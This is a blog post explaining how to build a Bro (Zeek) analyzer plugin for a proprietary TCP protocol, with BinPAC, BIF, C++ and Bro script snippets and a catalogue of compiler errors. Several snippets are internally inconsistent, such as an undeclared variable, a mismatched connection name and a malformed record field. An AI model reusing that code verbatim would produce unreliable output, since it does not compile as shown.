Redes Sociales

jueves, 28 de abril de 2016

Developing a Bro analyzer as a plugin

Bro is an open source Unix based network monitoring framework that can be used mainly for collecting network measurements, and based on that conducting forensic investigations, traffic baselining, build a NIDSand many other tasks. It includes an event-driven programming language that allow to implement actions when an specific packet, message or event has happened.

The main building block of bro are the protocol analyzers and many protocol analyzer have been implemented and are included with the bro's core. However there are many other that are not implemented, and , in many cases, a company could be interested in implementing an analyzer for a proprietary protocol.

That was my task during the last month. My company had to implement a monitoring tool on a proprietary protocol and a plugin had to be developed to allow operators include this protocol into their bro installations.

This lack of information found has drive me to write this entry and to explain what I did , what problems I found how did manage to bypass them.

The main problems I have found in bro are the variety of different technologies necessary to develop an analyzer and the LACK of documentation. The last one is mainly the reason why I have written this post.

In my case I had a propietary protocol, that worked over TCP on port 302. The protocol message structure varies depending on the first byte (the function code) value. In this post I will only explain two different request messages, although the protocol had more than 20 different function codes:

Message 1

Function Code: 0x22
Message structure:
        CRC:                    32 bits;
        Value_Number:           8 bits;
        Var_Type_Code:          16 bits;
        u:                      16 bits; 
        u2:                     8 bits;
        Codified_Var_Numbers:   16 bits; 
        data:                   ;

Message 2

Function Code: 0x31
Message structure:
        id:                 16 bits;


Starting

As this was a proprietary protocol there was no other protocol I could base on. So I had to start the development from scratch. After reading the bro's documentation, mainly:

...I got buffled by the amount of technologies to use.

Mainly, I had to write an anlyzer, which pretty well explained in the documentation, and I had to write a plugin, which is also well explained... if it's a simple plugin, but if you want to put it all together, there's no guide to follow.

To write a simple analyzer the easies way is to follow the instructions in [3], running the start.py script. It will basically create the following files for you:

  • CMakeLists.txt
  • events.bif
  • Plugin.cc (if you use the -plugin option which you need to)
  • MyProt.pac
  • MyProt-protocol.pac
  • MyProt-analyzer.pac
  • MyProt.cc
  • MyProt.h

That's OK, but it does not explain how to modify them to develop your analyzer. And the other hand and VERY IMPORTANT, it does NOT include the configure and MakeFile files.

Secondly, we could follow the instructions given in [2] and using the init-plugin script, it would create the following files and directories:

  • configure
  • Makefile
  • src directory
  • src/Plugin.cc
  • src/Plugin.
  • MyProt_plugin.bif
  • scripts directory
  • tests directory

Good enough, it includes a configure and Makefile files BUT, there's no explanation on how to modify these files to create an analyzer.

What did I do?

Join together all the files created by both scripts.

These are the steps followed to get a working framework:

  1. Install bro with it's sources. The process is explained in "Installing bro". I would NOT have another bro installation in the box to avoid conflicts between them.
  2. Create a work directory. In my case it was created in /tools/bro/bro/MyProt_plugin, while bro was installed in /tools/bro/bro
  3. From this directory, run the start.py script with the -plugin option. Follow the instructions given in [3].
  4. Run the init-plugin script, which is in /aux/bro-aux/plugin-support/init-plugin. The arguments a gave where "MYPROT MYPROT"
  5. In my case I moved to the src directory the MyProt.cc and MyProt.h files generated by start.py. However this step is not necesary if later you do not modify some lines in other file.


The different technologies used

To continue with the explanation I will explain the different technologies involved in the analyzer development, which are C++, BIF, BinPAC and Bro.

At the end of the day, the analyzer must be compiled with a C++ compiler and built with Make. But to create these .cc and .h files, the bro guys use binpac and later use BIF. Finally to use the events generated using this analyzer, bro scripts must be written.

  • BinPac is a yacc parser that can be used to develop application protocol parsers. Its syntax is based on types and subtypes and I recommend to read the documents [4] and [6] to understand how to works. What BinPAC does is mainly, generate a .cc and .h files that when compiled and run, will be able to understand the protocol given.

  • BIF is an acronym of BuiltIn Functions and is a new layer that allows to interact the C/C++ event engine with the PAC Files. It has its own syntax and for an anlyzaer, it's used in the analyzer.pac file and the events.bif and types.bif files

  • The BRO scripting language allow us to take advantage of the bro framework and event infrastructure to write bro policies.

  • Finally BRO framework is written in C/C++ and while writing an analyzer there are parts that have to be written directly in C/C++.

  • One of the initial scripts is written in Python. This script (start.py) allow us to create the structure of C/C++ files for developing an anlyzer

  • The other script (init-plugin) is written in Bash Shell and will create the file structure for developing a plugin. Other Shell script was eventually written to automate the compilation process.



The files

The start.py script generated (among many other) two important files: MyProt.cc and MyProt.h. These are the starting point of an analyzer and its structure it always the same:

#include "MyProt.h"
#include "analyzer/protocol/tcp/TCP_Reassembler.h"
#include "events.bif.h"

using namespace analyzer::myprot;

MyProtTCP_Analyzer::MyProtTCP_Analyzer(Connection* c): TCP_ApplicationAnalyzer("MYPROT1234", c)
  {
   interp = new binpac::MyProtTCP::MyProtTCP_Conn(this);
  }

MyProtTCP_Analyzer::~MyProtTCP_Analyzer()
  {
   delete interp;
  }

void MyProtTCP_Analyzer::Done()
 {
         TCP_ApplicationAnalyzer::Done();
   interp->FlowEOF(true);
  interp->FlowEOF(false);
 }

void MyProtTCP_Analyzer::DeliverStream(int len, const u_char* data, bool orig)
 {
  TCP_ApplicationAnalyzer::DeliverStream(len, data, orig);
  interp->NewData(orig, data, data + len);
 }

void MyProtTCP_Analyzer::Undelivered(uint64 seq, int len, bool orig)
 {
  TCP_ApplicationAnalyzer::Undelivered(seq, len, orig);
  interp->NewGap(orig, len);
 }

void MyProtTCP_Analyzer::EndpointEOF(bool is_orig)
 {
  TCP_ApplicationAnalyzer::EndpointEOF(is_orig);
  interp->FlowEOF(is_orig);
 }

This file is the joining point between bro and the new Analyzer. With this code, the analyzer can be registered in bro, Connections will be created and allow the messages to be delivered to the Analyzer.

On the other hand we find the Plugin.cc and Plugin.h files which allow bro to create a plugin:

    #include "Plugin.h"

    namespace plugin {
    namespace MYPROT_MYPROT {

    Plugin plugin; } }

    using namespace plugin::MYPROT_MYPROT;

    plugin::Configuration Plugin::Configure()                                                         
        {
        plugin::Configuration config;
        config.name = "MYPROT::MYPROT";
        config.description = "MY protocol";
        config.version.major = 0;
        config.version.minor = 1;
        return config;
        }

It's a simple code that allow adding BIF functions into bif files and implementing them as a plugin. But this is not our case. We want an analyzer as a plugin. To get it we'll have to add the following to lines to this file. An include file will be added to the top of the file:

    #include "MyProt.h"

...and we'll add an analyzer component to the Plugin with the following line INSIDE the configure method:

AddComponent(new ::analyzer::Component("MYPROT1234", ::analyzer::myprot::MyProtTCP_Analyzer::Instantiate));

The "MYPROT1234" text is the Tag that allows bro to recognize the analyzer. It's also defined in the analyzer definiticion in MyProt.cc (see above).

For a Bro analyzer three different PAC files are generally used (MyProt.pac, MyProt-protocol.pac and MyProt-analyzer.pac). However this is not really necessary and everything could go in a single PAC File, but to make things easier I will explain it splitted in three files.

The main one (MyProt.pac) is always very similar (take a look at the comments added by me). It allows to declare what a Connection is, what a PDU is and call the other two PAC Files. This is MyProt.pac:

#
#THESE TWO FILES NEED TO BE COPIED FROM THE BRO SOURCE DIRECTORY TO OUR WORKING DIRECTORY TO MAKE IT WORK:
#
%include binpac.pac
%include bro.pac

###
#THESE LINES ARE NECESSARY BECAUSE LATER A events.bif.h file IS GENERATED, BUT IT'S NOT INCLUDED 
#ANYWHERE. WE MAKE THE INCLUDE HERE THAT WILL BE ADDED LATER IN THE .cc FILE
###
%extern{
#include "events.bif.h"
%}

###
#HERE WE DECLARE THE ANALYZER. IT IS ALWAYS MORE OR LESS THE SAME, IT HAS A CONNECTION AND TWO 
#FLOWS. OFICCIALLY A FLOW IS A SEQUENCE OF MESSAGES AND THE STATE BETWEEN MESSAGES
###
analyzer MyProtTCP withcontext {
 connection: MyProtTCP_Conn;
 flow:       MyProtTCP_Flow;
};

##
#...AND A CONNECTION IS AN UPLOAD FLOW AND A DOWNLOAD FLOW 
##
connection MyProtTCP_Conn(bro_analyzer: BroAnalyzer) {
 upflow = MyProtTCP_Flow(true);
 downflow = MyProtTCP_Flow(false);
};

##
#AS WE CAN SEE; AFTER DECLARING WHAT A CONNECTION AND A FLOW IS WE INCLUDE THE MYPROT-PROTOCOL.PAC 
#AND THE PROCESSING CONTINUES WITH IT
##
%include MyProt-protocol.pac

##
#A FLOW COMPONENTS ARE PDUs. IN MyProt-protocol.pac WE HAVE PREVIOUSLY DEFINED WHAT A MyProt PDU IS.
##
flow MyProtTCP_Flow(is_orig: bool) {
 flowunit = MyProtTCP_PDU(is_orig) withcontext (connection, this);
}

##
#FINALLY THE ANALYZER IS INCLUDED TO GENERATE THE EVENTS
##
%include MyProt-analyzer.pac

#
#MAINLY SPEAKING, IN THE PROTOCOL.PAC FILE WE EXPLAIN THE PROTOCOL AND IN THE ANALYZER-FILE.pac 
#WE WRITE THE FUNCTIONS TO UNDERSTAND THE PROTOCOL


OK, now we'll go through the MyProt-protocol.pac file (Again read the comments written by me). This file allow to define how is structure of the different messages of the protocol:

#HERE WE DEFINE WHAT IS A PDU FOR THIS PROTOCOL. AS WE SAW PREVIOUSLY, IT'S COMPOSED BY A ONE 
#BYTE HEADER AND A BODY
##
type MyProtTCP_PDU(is_orig: bool) = record {
 header: uint8;
 body: case is_orig of {
  true  -> request:  MyProtTCP_Request(header);   
  false -> response: MyProtTCP_Response(header);
 };
} &let {
 deliver: bool = $context.flow.deliver_MyProtTCP_PDU_FUNCTION(this)
};

##
#AS WE CAN SEE IN THE LET SECTION, WHEN RECEIVED, THE FUNCTION MyProtTCP_PDU_FUNCTION(MyProtTCP_PDU *f) 
#IS CALLED. THIS FUNCTION IS IMPLEMENTED IN THE MyProt-analyzer.pac FILE
##

##
#THE MyProtTCP_Request and Resopnse TYPES ARE DECLARED NEXT. AS WE CAN SEE THE FUNCTION CODES HAVE 
#SUBFUNCTION CODES NEXT AND IN THE RESPONSE PDUs THERE IS A RESPONSE STATUS VALUE 
##
type MyProtTCP_Request(header: uint8) = record {
       ufc:            uint16;
       body:           MyProt_Request(header, ufc);
} &let {
       deliver: bool = $context.flow.deliver_UniRequest(header, this);
} &byteorder=littleendian;


type MyProtTCP_Response(header: uint8) = record {
       urs:   uint16;
       body:       MyProt_Response(header, urs);
} &let {
       deliver: bool = $context.flow.deliver_UniResponse(header, this);
} &byteorder=littleendian;

##
#WHEN A REQUEST OR RESPONSE MESSAGE IS DETECTED, THE FUNCTION UNIREQUEST AND UNIRESPONSE ARE 
#CALLED. THESE FUNCTIONS ARE IMPLEMENTED IN THE ANALYZER.PAC FILE.
#
#THE MYPROT_REQUEST AND RESPONSE TYPES ARE DEFINED NEXT
##
type MyProt_Request(TCPheader: uint8, Uheader: uint16) = case Uheader of {
        0x22                -> readSystemVar:           readSystemVarRequest(TCPheader, Uheader);
        0x31                -> readId:              ReadIdRequest(TCPheader, Uheader);

(...)
};

type MyProt_Response(TCPheader: uint8, Uheader: uint16) = case Uheader of {
        0xFE                -> ok:            Response_OK(TCPheader, Uheader);
        0xFD    -> error:  Response_Error(TCPheader, Uheader); 
};

##
#IN THEM WE DEFINE THE DIFFERENT VALUES OF THE FUNCTION CODES AND WHAT FUNCTION WILL TREAT THEM. 
#IN THIS CASE WE WILL ONLY EXPLAIN THE ReadSystemVar REQUEST AND THE READID REQUEST
##

type ReadSystemVarRequest (TCPheader: uint8, Uheader: uint16) = record {
    data:       BinPAC_MyProt_ReadWriteSystemVarsRequest_Format;
} &let {
 deliver: bool = $context.flow.deliver_ReadSystemVarRequest(TCPheader, Uheader,this);
} &byteorder=littleendian;


type ReadIdRequest(TCPheader: uint8, Uheader: uint16) = record {
   Id: uint16;
} &let {
 deliver: bool = $context.flow.deliver_ReadIdRequest(TCPheader, Uheader,this);
} &byteorder=bigendian;

##
#FINALLY WE NEED TO DECLARE THE TYPE BinPAC_MyProt_ReadWriteSystemVarsRequest_Format THAT WE 
#USED IN THE ReadSystemVarRequest TYPE.
##
type BinPAC_MyProt_ReadWriteSystemVarsRequest_Format = record {
        CRC:            bytestring &length=4;
 Value_Number: uint8; 
 Var_Type_Code: uint16;
 u:   uint16;
 u2:   uint8; 
 Var_Numbers: uint16; 
 data:  bytestring &restofdata;
} &byteorder=littleendian;

##
#AS WE CAN SEE THIS IS THE STRUCTURE OF THE MESSAGE 1. WITH MESSAGE 2 WE DO NOT NEED A RECORD 
#BECAUSE IT ONLY HAS ONE VALUE, THE ID, WITH 16 BITS

And that's all, we have defined a simple protocol.


MyProt-Analyzer.pac

Now we need to implement the protocol and implement the events that bro will be generating when a a protocol message is detected. This will be don in the MyProt-Analyzer.pac file:

#THE ANALYZER.PAC FILE HAS THREE DIFFERENT SECTIONS. THE FIRST ONE IS A DECLARATION OF THE FUNCTIONS 
#IMPLEMENTED IN IT. IT STARTS WITH THE SYNTAX %header{ AND THE FUNCTIONS DECLARED ARE DEVELOPED IN 
#THE FORMER SECTION %code{ ... }. FINALLY IN THE %Init{ ... } SECTION WE WILL IMPLEMENT 
#THE "Deliver_*" FUNCTIONS MENTIONED IN THE PROTOCOL.PAC FILE. THESE THREE SECTIONS ARE ACTUALLY BIF CODE
#
#
#ALTHOUGH THE %Header and %Code SECTION MUST BE INCLUDED BEFORE THE %Init SECTION, I WILL EXPLAIN 
#THE %Init EARLIER AND THEN THE OTHER TWO:
##
%Header{
...
%}

%Code{
...
%}

%Init{

(...)
       function deliver_ReadIdRequest(TCPheader: uint8, Uheader: uint16, 
                message: const_bytestring): bool
               %{

               if ( ::myprot_readid_request )
                       {
                       BifEvent::generate_myprot_readid_request(connection()->bro_analyzer(),
                                    connection()->bro_analyzer()->Conn(),
                                    TCPheader
                                    , Uheader
                                    , bytestring_to_val(message)
                                    );
                       }

               return true;
                %}

##
#THERE ARE MANY THINGS TO EXPLAIN HERE: 
#
#::myprot_readid_request IS A GLOBAL HANDLER WHICH EXISTS ONLY IF A MESSAGE OF THIS TYPE 
#HAS BEEN DETECTED. ITS NAME IS THE SAME AS #THE generate_myprot_readid_request FUNCTION 
#(WITHOUT THE generate_ PART) AND THE SAME AS THE NAME OF THE EVENT DEFINED IN THE events.bif FILE.
#
#THE BifEvent::generate_myprot_readid_request IS A BIF FUNCTION THAT WILL GENERATE THE CODE THAT 
#WILL MANAGE THE EVENT CREATION WHEN THIS MESSAGE IS DETECTED. THE EVENT NAME WILL BE (IN THIS 
#CASE) myprot_readid_request. THIS SAME NAME WILL HAVE TO APPEAR IN THE events.bif FILE.
#
#THIS METHOD DECLARATION, IN THE EVENTS.BIF FILE, WILL HAVE ONLY 4 PARAMETERS (ALL EXCEPT THE 
#FIRST 'ANALYZER' ONE).
#
#IF IN THIS "deliver" FUNCTION WE NEED TO USE AN AUXILIARY FUNCTION, IT WILL HAVE TO DECLARED 
#IN THE %header SECTION AND IMPLEMENTED IN THE %code SECTION
#
#BIF HAS ITS OWN TYPES AND ANY INT8, INT16, INT32, FLOAT, DOUBLE CAN BE CONVERTED INTO ITS 
#TYPE "COUNT", WHICH IS A 64bit VALUE
##

function deliver_ReadSystemVarRequest(TCPheader: uint8, Uheader: uint16, 
         message: ReadSystemVarRequest(TCPheader, Uheader)): bool
               %{

               if ( ::MyProt_readsystemvar_request )
                       {
                       BifEvent::generate_MyProt_readsystemvar_request(connection()->bro_analyzer(),
                                   connection()->bro_analyzer()->Conn(),
                                   TCPheader
                                   , Uheader
                                   , MyProt_ReadWriteSystemVarsRequestFormat_ToBro(message->data())
                                   );
                       }

               return true;
                %}

##
#MANY THINGS TO MENTION HERE AS WELL:
#
#AS WE CAN SEE, IN THIS CASE THE THIRD PARAMETER OF THE "Deliver" FUNCTION IF A RECORD OF 
#TYPE ReadSystemVarRequest, DEFINED IN THE PROTOCOL.PAC FILE. AS WE CAN ALSO SEE, THIS RECORD 
#HAS ONLY TWO PARAMETERS WHILE IN ITS DECLARATION HAS THREE PARAMETERS... THE LAST ONE DISAPPEAR.
#
#IN THE CALL TO THE "Generate" FUNCTION, THE LAST PARAMETER USES SOMETHING 
#CALLED MyProt_ReadWriteSystemVarsRequestFormat_ToBro. THIS IS AN AUXILIARY FUNCTION, 
#IMPLEMENTED BY US IN THE %CODE SECTION
##

%Header{
          RecordVal* MyProt_ReadWriteSystemVarsRequestFormat_ToBro(BinPAC_MyProt_ReadWriteSystemVarsRequest_Format *rec);
%}

%Code{
          RecordVal* MyProt_ReadWriteSystemVarsRequestFormat_ToBro(BinPAC_MyProt_ReadWriteSystemVarsRequest_Format *rec)
                {
                RecordVal* myprot_format = new RecordVal(BifType::Record::MyProtReadWriteSystemVarsRequestFormat);
                myprot_format->Assign(0, bytestring_to_val(rec->shifted_CRC()));
                myprot_format->Assign(1, new Val(rec->Value_Number(), TYPE_COUNT));
                myprot_format->Assign(2, new Val(rec->Var_Type_Code(), TYPE_COUNT));
                myprot_format->Assign(3, new Val(rec->u(), TYPE_COUNT));
                myprot_format->Assign(4, new Val(rec->u2(), TYPE_COUNT));
                myprot_format->Assign(5, new Val(rec->Var_Numbers(), TYPE_COUNT));
                myprot_format->Assign(6, bytestring_to_val(rec->data()));
                return myprot_format;
                }
%}

##
#MANY THINGS TO MENTION HERE TOO:
#
#NOTICE THE BifType::Record::MyProtReadWriteSystemVarsRequestFormat TYPE. THIS IS A RECORD TYPE FOR 
#THE BIF AND BRO FRAMEWORKS. IT MUST BE DEFINED IN THREE DIFFERENT PLACES:
#             - src/types.bif
#             - /build/scripts/base/init-bare.bro
#             - /build/src/types.bif.netvar_h
#
#NOTICE THE "TYPE_COUNT" TYPES. THEY ARE DEFINED IN Val.h IN BRO. A COUNT TYPE IS A 64bit INTEGER.
#
#NOTICE THE bytestring_to_val(rec->data()) FUNCTIONS. THIS IS AN INTERNAL BRO/BIF FUNCTION THAT 
#ALLOW TO CONVERT A bytestream INTO A StringVal TYPE. IT'S NECESSARY WHEN SENDING STRINGS AS PARAMETERS

The events.bif file store the declaration of the different events the analyzer will be capturing. Its structure is the following:

(...)
event MyProt_readid_request%(c: connection, TCPheaders: MyProtTCPHeaders, 
            Uheader: URequestHeader, Data: string%);

event MyProt_writesystemvar_request%(c: connection, TCPheaders: UTCPHeaders, 
            Uheader: URequestHeader, UReadWriteSystemVarBody: MyProtReadWriteSystemVarsRequestFormat%);
(...)

These events will be re-written in our bro script files.

On the other hand if we are declaring new bro record, we need to define them in the types.bif file:

(...)
type MyProtRequestHeader: record;
type MyProtResponseHeader: record;

type MyProtReadWriteSystemVarsRequestFormat: record;
(...)

They will be specified in the init-bare.bro file:

(...)
type MyProtReadWriteSystemVarsRequestFormat: record {
        CRC:            string;
        Value_Number:   count;
        Var_Type_Code:  count;
        u               count;
        u2:             count;
        Vars_Numbers:   count;
        data:           count;
};
(...)

Finally to avoid error during compilation, for every new record it's necessary to include the following line in the /build/src/types.bif.netvar_h file:

(...)
    namespace BifType { namespace Record{  extern RecordType * MyProtReadWriteSystemVarsRequestFormat;  } } 
(...)

Compilation process

So, we have developed the BinPAC Parser. Everything's going to be easier now.... Stay quiet man, stay quiet. Things get worse now...

To "compile" this PAC files we'll use binpac:

binpac MyProt.pac

If there's no error, two new files will be generated:

  • MyProt_pac.cc
  • MyProt_pac.h

So, now we have three .cc files (Plugin.cc, MyProt.cc and MyProt_pac.cc) and three .h files (Plugin.h, MyProt.h and MyProt_pac.h). How the hell do we handle this??

Well, we need to include the MyProt_pac.h file in the MyProt.h file:

#include "myprot_pac.h"

Then we need to modify the CMakeFiles.txt to add all four files, together with the .bif files. So the CMakeFiles.txt will have to look like:


cmake_minimum_required(VERSION 2.8)

project(Plugin)

include(BroPlugin)

bro_plugin_begin(MYPROT MYPROT)
bro_plugin_bif(src/types.bif src/events.bif)
bro_plugin_cc(src/Plugin.cc src/MyProt.cc src/MyProt_pac.cc)
bro_plugin_dist_files(README CHANGES COPYING VERSION)
bro_plugin_end()

So, to resume, the steps that must be followed to make all this work are:

  1. Prepare .pac files
  2. launch the command: binpac Myprot.pac
  3. If everything went OK, all MyProt.h, MyProt.cc, MyProt_pac.h, MyProt_pac.cc will have to be moved to the src directory (not actually necessary)
  4. Modify Plugin.cc as mentioned earlier
  5. If new records are used, the types.bif will has to be updated
  6. If new events are defined, the events.bif has to be updated
  7. Now we need to remove the build directory and run the compiling commands:
rm -rf build/
binpac myprot.pac 
mv myprot_pac.* src
./configure --bro-dist=..
make
make install


After building the analyzer

To test if bro is detecting the plugin we'll run:

bro -NN | grep -i myprot

Now we need to register the analyzer in the MyBroScript.bro script:

(...)
const ports = { 302/tcp };
(...)
event bro-init()
{
(...)
          Analyzer::register_for_ports(Analyzer::ANALYZER_MYPROT, ports);
(...)
event myprot_readid_request(c: connection, TCPheaders: MyProtTCPHeaders, MyProtheader: MyProtRequestHeader, Data: string)
{
      print("MyProt Read Id request Message detected");
}

event myprot_writesystemvar_request(c: connection, TCPheaders: MyProtTCPHeaders, MyProtheader: MyProtRequestHeader, 
              MyProtReadWriteSystemVarBody:MyProtReadWriteSystemVarsRequestFormat)
{ 
       print("MyProt 0x23 Message detected"); 
}


The hard part

My protocol has a request/response architectutrte, and the request/response message structure depends on a Function Code. This Function Code is sent in the request message, but NOT in the response message.

So, when I receive a response I don't know if it belongs to the request A or the request B. The only way to know that is checking the transport level ID.

So, I need to maintain any kind of array that relate transport id values and function codes. The question is how to do that. I need to read and write that global value in the MyProt-protocol.pac file.

The solution came by modifying the connection class and adding the array (in the MyProt.pac file):

(...)
refine connection UmasTCP_Conn += {
        %member{
                int previous_fcs[256];
        %}
};
(...)

Then added a RESPONSE type that call to a function to recover the FC data from the array:

(...)

type XXX{
(...)
} &let {
       (...)
       ufc: uint8 = $context.connection.get_Previous_FC(header.Transport_id);
};
(...)

And wrote two functions in the analyzer.pac file:

(...)
refine connection MyProtTCP_Conn += {
        (...)

        function get_Previous_FC(Transport_id: int): int
        %{
                return previous_fcs[tid%256];
        %}

        function SetTID_FC(transport_id:int, ufc:int): bool
        %{
                previous_fcs[transport_id%256]=ufc;

                return true;
        %}
(...)

The second one is called every time a message event is detected:

(...)
 function deliver_message(header: BinPAC_TCP_Header, MYPROTheader: BinPAC_MYPROT_header): bool
                %{
                if ( ::MyProt_message )
                   {
                           connection()->SetTID_FC(${header.transport_id}, ${MYPROTheader.myprot_fc});
(...)


Errors found

During compilation I found a wide variety of error, which very often I didn't know why they were happening. To avoid you the multiple hours spent looking for the root causes of these errors, I will explain the error message and the original cause of some of the errors found:

Error:

fatal error in /usr/local/bro/share/bro/base/init-bare.bro, line 1: cannot load plugin 
library /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT_MYPROT//lib/MYPROT-MYPROT.linux-x86_64.so: 
/usr/local/bro/lib/bro/plugins/MYPROT_MYPROT//lib/MYPROT-MYPROT.linux-x86_64.so: undefined symbol:
_ZN7BifType6Record36MyProtReadWriteSystemVarsRequestFormatE

Explanation: This error appears after a successful compilation of the plugin, when running a bro script. In this case there is a Record that Bro is not able to find. The Plugin compiles fine BUT there is a declaration missing either in types.bif or in netvar_h. This could be caused as well for not including a types.bif file in the CMakelists.txt file


Error:

/tools/MyBro/bro/MyProt_plugin/src/myprot_pac.cc: In member function ‘bool binpac::MyProtTCP::MyProtTCP_Flow::deliver_ReadSystemVarRequest
(binpac::MyProtTCP::BinPAC_MyProtTCP_TransportHeader*, binpac::MyProtTCP::BinPAC_MyProt_Request_Header*, 
binpac::MyProtTCP::ReadSystemVarRequest*)’: /tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:4300:71: error: 
‘MyProt_ReadWriteSystemVarsRequestFormat_ToBro’ was not declared in this scope
          , MyProt_ReadWriteSystemVarsRequestFormat_ToBro(message->data())

Explanation: There was a declaration missing in the %header section of the MyProt-analyzer.pac file. A similar error could be caused because the type name used in myprot-protocol.pac and in myprot-analyzer.pac are different. Check that.


Error:

myprot.pac:40: syntax error, at end of file (yychar=0)

Explanation: This error appears when running binpac and it's caused by a missing "}" that closes any function or if the final "}" is missing.


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc: In function ‘RecordVal* 
binpac::MyProtTCP::MyProt_ReadWriteSystemVarsRequestFormat_ToBro
  (binpac::MyProtTCP::BinPAC_MyProt_ReadWriteSystemVarsRequest_Format*)’:
/tools/MyBro/bro/MyProt_plugin/src/MyProt_pac.cc:4902:42: error: 
‘MyProtReadWriteSystemVarsRequestFormat’ is not a member of ‘BifType::Record’
   RecordVal* MyProt_format = new RecordVal(BifType::Record::MyProtReadWriteSystemVarsRequestFormat);

Explanation: In this case, there a line missing in the %bro%/build/src/types.bif.netvar_h file. This could be caused as well if the name of the record is NOT correct when using it in the myprot-analyzer.pac file.


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc: In function ‘RecordVal* 
binpac::myprotTCP::myprot_SetOwnerRequestFormat_ToBro(binpac::myprotTCP::BinPAC_myprot_SetOwnerRequest_Format*)’:
/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:4894:62: error: expected ‘;’ before ‘)’ token
   myprot_format->Assign(0, new Val(rec->unknown(), TYPE_COUNT)));

Explanation: As explained in the error, there is an extra ')' in the indicated line.


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc: 
In member function ‘bool binpac::myprotTCP::myprotTCP_Flow::deliver_InitCommRequest
(binpac::myprotTCP::BinPAC_MyProtTCP_TransportHeader*, binpac::myprotTCP::BinPAC_myprot_Request_Header*, 
const const_bytestring&)’: /tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:3987:10: error: too many 
arguments to function ‘void BifEvent::generate_myprot_initcomm_request
(analyzer::Analyzer*, Connection*, Val*, Val*)’
          );
          ^

Explanation: In this case, the number of arguments of an event in its declaration in events.bif and in the "generate_myprot_XXX_request" call in the myprot-analyzer.pac file.


Error:

In file included from /tools/pruebas_bro/MyBro/bro/umas_plugin/src/Umas.h:5:0,
                 from /tools/pruebas_bro/MyBro/bro/umas_plugin/src/Plugin.cc:3:
/tools/pruebas_bro/MyBro/bro/umas_plugin/src/umas_pac.h:3:0: error: unterminated #ifndef
 #ifndef umas_pac_h
 ^

Explanation: In this case, you have to run binpac myprot.pac and check the error given:

root@kali:/tools/MyBro/bro/myprot_plugin# binpac myprot.pac 
switching to file ./binpac.pac
switching to file ./bro.pac
switching to file ./myprot-protocol.pac
switching to file ./myprot-analyzer.pac
./myprot-protocol.pac:427: error : `BinPAC_MyProt_ReadWriteRequest_Format' undeclared

Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:4927:3: error: expected unqualified-id before ‘{’ token
   {
   ^

Explanation: There is an extra ';' in the %code section of the myprot-analyzer.pac. Of course you can always go to line 4927 of myprot_pac.cc file and look for an error.


Error:

error in /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT/lib/bif/./events.bif.bro, line 85: identifier not defined: MyProtReadWriteRequestFormat
error in /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT/lib/bif/./events.bif.bro, line 90: identifier not defined: MyProtReadWriteRequestFormat
internal error in /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT/lib/bif/./events.bif.bro, line 156: internal type MyProtReadWriteRequestFormat missing
Aborted

Explanation: This error appear when running our bro script because there is no entry in the init-bare file for the Record indicated.


Error:

error in /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT/lib/bif/./events.bif.bro, line 125 and ./test2.bro, line 201: incompatible 
types (event(c:connection; TCPheaders:count; Uheader:URequestHeader; function:count;) and event(c:connection; TCPheaders:count; 
Uheader:URequestHeader;))

Explanation: This is NOT an error in our analyzer but in the bro script. We are not writing correctly all parameters of an event call. As you can see, there is an argument left.


Error:

/tools/MyBro/bro/MyProt_plugin/src/MyProt_pac.h:10:2: error: expected initializer before ‘RecordVal’
CMakeFiles/UMAS-UMAS.linux-x86_64.dir/build.make:242: fallo en las instrucciones para el objetivo 'CMakeFiles/MYPROT-MYPROT.linux-x86_64.dir/src/Plugin.cc.o'

Explanation: In this case it's a CMake error (it is showed in spanish). It was caused by a '#' in the header section of the analyzer.pac file...


Error:

/tools/MyBro/bro/MyProt_plugin/src/Myprot_pac.h:2669:2: error: expected initializer before ‘RecordVal’
  RecordVal* MyProot_SetOwnerRequestFormat_ToBro(BinPAC_MyProt_SetOwnerRequest_Format *rec);

Explanation: There was a ';' left at theend of function declaration in the analyzer.pac file.


Error:

/tools/MyBro/bro/Myprot_plugin/src/MyProt_pac.cc: In member function ‘bool binpac::MyProtTCP::MyProtTCP_Flow::deliver_InitCommResponse(binpac::MyProtTCP::BinPAC_MyProtTCP_Header*, binpac::MyProtTCP::BinPAC_MyProt_Response_Header*, binpac::MyProtTCP::InitCommResponse*)’:

/tools/MyBro/bro/MyProt_plugin/src/MyProt_pac.cc:4268:10: error: too many arguments to function ‘void BifEvent::generate_myprot_initcomm_response(analyzer::Analyzer*, Connection*, Val*, Val*)’         );

Explanation: The declaration of an event in the events.bif an in the analyzer.pac file was different.


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:2698:96: error: no matching function for call to ‘binpac::MyProtTCP::MyProtTCP_Flow::deliver_ReadInfoResponse0(binpac::MyProtTCP::BinPAC_MyProtTCP_Header*, binpac::MyProtTCP::BinPAC_MyProt_Response_Header*, binpac::MyProtTCP::ReadInfoResponse0*)’
  deliver_ = t_context->flow()->deliver_ReadInfoResponse0(TCPheader(), MYPROTheader(), this);

Explanation: In this case the 'deliver' function used in the protocol.pac an in the analyzer.pac files were different..


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:1894:59: error: invalid use of non-static member function
           message->parameter_header()->Parameter_Type());

Explanation: The first problem here is that the issue is NOT in the line shown by the compiler. In my case I had the following record in my myprot-analyzer.pac:

                    BifEvent::generate_comm_request(connection()->bro_analyzer(), connection()->bro_analyzer()->Conn(), 
                                                                        TCPHeaderToBro(header), message->msg_type,
                                                                         message->parameter_header()->Parameter_Type());

...and the problem it's there, but it's not related with the last line! it comes with the msg_type variable, it need a parentheses at the end:

message->msg_type(),

...and that's all, working!




Of course there are many other error you will find while compiling but it's impossible to add them all here.

I hope this post will be helpful to anybody. This is what I learned during two week battling against bro and its friends!.

miércoles, 9 de diciembre de 2015

Evolution of the APTs: an infography

This is an infography about the evolution of the APT campaigns over the last 5-6 years. It's update until November 2015.

I think it's interesting to realize how APT campaigns are growing high. Complex and hard stop issue...

viernes, 2 de octubre de 2015

